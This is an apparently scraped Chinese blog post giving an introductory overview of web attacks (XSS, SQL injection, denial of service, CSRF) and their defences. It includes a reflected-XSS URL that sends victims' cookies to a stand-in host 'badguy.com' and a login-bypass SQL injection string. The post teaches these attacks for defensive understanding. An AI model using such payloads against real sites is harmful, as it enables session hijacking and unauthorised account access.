搞web離不開security這個話題,以前關注的也很少只是據說一些名詞什麼的。是時候好好看看這些安全問題了。根據Cenzic 2012年的報告看一下都有哪些常見攻擊。html
37% Cross-site scripting 16% SQL injection 5% Path disclosure 5% Denial-of-service attack 4% Arbitrary code execution 4% Memory corruption 4% Cross-site request forgery 3% Data breach (information disclosure) 3% Arbitrary file inclusion 2% Local file inclusion 1% Remote file inclusion 1% Buffer overflow 15% Other, including code injection (PHP/JavaScript), etc.
排好隊先看幾個我接觸過的。程序員
XSS指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 用戶瀏覽網頁就會觸發惡意腳本執行。 好比獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。如何把惡意代碼嵌入到用戶要訪問的網頁中,攻擊者挖空心思各出奇招了。通常會有這兩類方式:web
Reflected (non-persistent)
反射攻擊,就是惡意代碼藏在本地,表現方式多是一個惡意連接,你點擊後給server GET/POST這個request,server若是沒有恰當的處理這個請求,惡意代碼返回給用戶瀏覽器並執行。舉個例子就比較明白了。來自Web安全測試之XSS數據庫
有這麼個網頁,查詢的結果和查詢的關鍵字都會顯示到網頁上。瀏覽器
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先創建一個網站http://badguy.com, 用來接收「偷」來的信息。而後Tom 構造一個惡意的url(以下), 經過某種方式(郵件,QQ)發給Monica安全
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被髮送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.服務器
文本輸入作中對js關鍵字作編碼,讓回給用戶瀏覽器的js不可執行cookie
瀏覽器的同源策略,瀏覽器只容許訪問cookie的IP+port必須同最初建立cookie的ip+port相同網絡
web app或者瀏覽器提供「禁用script」的選項session
SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。至關大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶能夠提交一段數據庫查詢代碼,根據程序返回的結果,得到某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
某個網站的登陸驗證的SQL查詢代碼爲:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
惡意填入
userName = "1' OR '1'='1"; 與passWord = "1' OR '1'='1";
將致使本來的SQL字符串被填爲
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
也就是實際上運行的SQL命令會變成下面這樣的
strSQL = "SELECT * FROM users;"
所以達到無帳號密碼,亦可登陸網站。因此SQL注入攻擊被俗稱爲黑客的填空遊戲。
從安全技術手段上來講,能夠經過數據庫防火牆實現對SQL注入攻擊的防範,由於SQL注入攻擊每每是經過應用程序來進攻,可使用虛擬補丁技術實現對注入攻擊的SQL特徵識別,實現實時攻擊阻斷。
顧名思義,拒絕服務攻擊就是想盡辦法讓你的服務器沒法正常提供服務。方法太多了,可是仔細研究攻擊的模式,能夠分爲如下四種狀況:
a.消耗包括網絡帶寬、存儲空間、CPU 時間等資源;
b.破壞或者更改配置信息;
C.物理破壞或者改變網絡部件;
d.利用服務程序中的處理錯誤使服務失效
若是攻擊者使用分佈在各地的PC來發起攻擊,這就是DDOS了,distributed DOS。有關如何防治DDOS,沒有太好的辦法,轉一個知乎上的討論,知乎討論DDOS
跨站請求僞造也被稱爲 one-click attack 或者 session riding,一般縮寫爲 CSRF 或者 XSRF, 是一種挾制用戶在當前已登陸的Web應用程序上執行非本意的操做的攻擊方法。跟跨網站指令碼(XSS)相比,XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶網頁瀏覽器的信任。你這能夠這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發送惡意請求。淺談CSRF攻擊方式 有個不錯的例子描述,一目瞭然。
驗證 HTTP Referer 字段
HTTP頭裏有Referer字段,這個字段用以標識請求來源地址。在處理敏感信息時,一般來說Referer字段應和請求的地址位於同一域名下。好比銀行頁面上的轉帳連接http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName,Referer字段地址一般應該位於www.examplebank.com之下,也就是這個連接必須是這個網站域名下面的網頁提供的。而若是是CSRF攻擊的請求通常是其餘惡意網站的網頁,瀏覽器填Referer字段時會填惡意網站的地址,不會位於www.examplebank.com之下,這時候server端能夠識別出惡意訪問。
在請求地址中添加 token 並驗證
只要server端能夠識別出發來的請求不是來自server本身提供的網頁上的連接,server就能識別這不是我容許的請求,肯能是CSRF假裝的請求。若是標識這些敏感請求呢?server能夠在這個連接旁邊附帶一個隨機碼(csrf token),若是你是正常訪問天然能夠帶上來正確的csrf token,不然就是其餘惡意訪問了。
安全是個大領域,暫時先到這裏,之後有時間再總結寫別的。
Web_application_security
Web Application Security
Web安全測試之XSS
拒絕服務攻擊
知乎討論DDOS
淺談CSRF攻擊方式